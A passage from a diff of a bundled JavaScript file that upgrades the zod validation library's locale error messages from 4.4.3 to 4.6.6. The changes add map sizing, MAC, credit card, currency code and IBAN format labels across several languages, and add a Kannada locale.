file: { unit: "byte", verb: "legyen" }, array: { unit: "elem", verb: "legyen" }, - set: { unit: "elem", verb: "legyen" } + set: { unit: "elem", verb: "legyen" }, + map: { unit: "elem", verb: "legyen" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53447,12 +54993,16 @@ var error19 = () => { duration: "ISO id\u0151intervallum", ipv4: "IPv4 c\xEDm", ipv6: "IPv6 c\xEDm", + mac: "MAC c\xEDm", cidrv4: "IPv4 tartom\xE1ny", cidrv6: "IPv6 tartom\xE1ny", base64: "base64-k\xF3dolt string", base64url: "base64url-k\xF3dolt string", json_string: "JSON string", e164: "E.164 sz\xE1m", + credit_card: "hitelk\xE1rtyasz\xE1m", + currency_code: "p\xE9nznemk\xF3d", + iban: "IBAN", jwt: "JWT", template_literal: "bemenet" }; @@ -53520,11 +55070,11 @@ var error19 = () => { }; function hu_default() { return { - localeError: error19() + localeError: error23() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/hy.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/hy.js function getArmenianPlural(count, one, many) { return Math.abs(count) === 1 ? one : many; } @@ -53535,7 +55085,7 @@ function withDefiniteArticle(word) { const lastChar = word[word.length - 1]; return word + (vowels.includes(lastChar) ? "\u0576" : "\u0568"); } -var error20 = () => { +var error24 = () => { const Sizable = { string: { unit: { @@ -53564,6 +55114,13 @@ var error20 = () => { many: "\u057F\u0561\u0580\u0580\u0565\u0580" }, verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" + }, + map: { + unit: { + one: "\u057F\u0561\u0580\u0580", + many: "\u057F\u0561\u0580\u0580\u0565\u0580" + }, + verb: "\u0578\u0582\u0576\u0565\u0576\u0561\u056C" } }; function getSizing(origin) { @@ -53590,12 +55147,16 @@ var error20 = () => { duration: "ISO \u057F\u0587\u0578\u0572\u0578\u0582\u0569\u0575\u0578\u0582\u0576", ipv4: "IPv4 \u0570\u0561\u057D\u0581\u0565", ipv6: "IPv6 \u0570\u0561\u057D\u0581\u0565", + mac: "MAC \u0570\u0561\u057D\u0581\u0565", cidrv4: "IPv4 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", cidrv6: "IPv6 \u0574\u056B\u057B\u0561\u056F\u0561\u0575\u0584", base64: "base64 \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", base64url: "base64url \u0571\u0587\u0561\u0579\u0561\u0583\u0578\u057E \u057F\u0578\u0572", json_string: "JSON \u057F\u0578\u0572", e164: "E.164 \u0570\u0561\u0574\u0561\u0580", + credit_card: "\u056F\u0580\u0565\u0564\u056B\u057F \u0584\u0561\u0580\u057F\u056B \u0570\u0561\u0574\u0561\u0580", + currency_code: "\u0561\u0580\u056A\u0578\u0582\u0575\u0569\u056B \u056F\u0578\u0564", + iban: "IBAN", jwt: "JWT", template_literal: "\u0574\u0578\u0582\u057F\u0584" }; @@ -53668,17 +55229,18 @@ var error20 = () => { }; function hy_default() { return { - localeError: error20() + localeError: error24() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/id.js -var error21 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/id.js +var error25 = () => { const Sizable = { string: { unit: "karakter", verb: "memiliki" }, file: { unit: "byte", verb: "memiliki" }, array: { unit: "item", verb: "memiliki" }, - set: { unit: "item", verb: "memiliki" } + set: { unit: "item", verb: "memiliki" }, + map: { unit: "item", verb: "memiliki" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53704,12 +55266,16 @@ var error21 = () => { duration: "durasi format ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "rentang alamat IPv4", cidrv6: "rentang alamat IPv6", base64: "string dengan enkode base64", base64url: "string dengan enkode base64url", json_string: "string JSON", e164: "angka E.164", + credit_card: "nomor kartu kredit", + currency_code: "kode mata uang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -53775,17 +55341,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53811,12 +55378,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -53885,17 +55456,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -53921,12 +55493,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -53994,17 +55570,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54030,12 +55607,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -54102,17 +55683,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54138,12 +55720,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -54215,17 +55801,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54251,12 +55838,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -54326,22 +55917,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54367,12 +56075,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -54443,11 +56155,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -54461,7 +56173,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -54562,12 +56274,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -54647,17 +56363,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -54683,12 +56400,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", 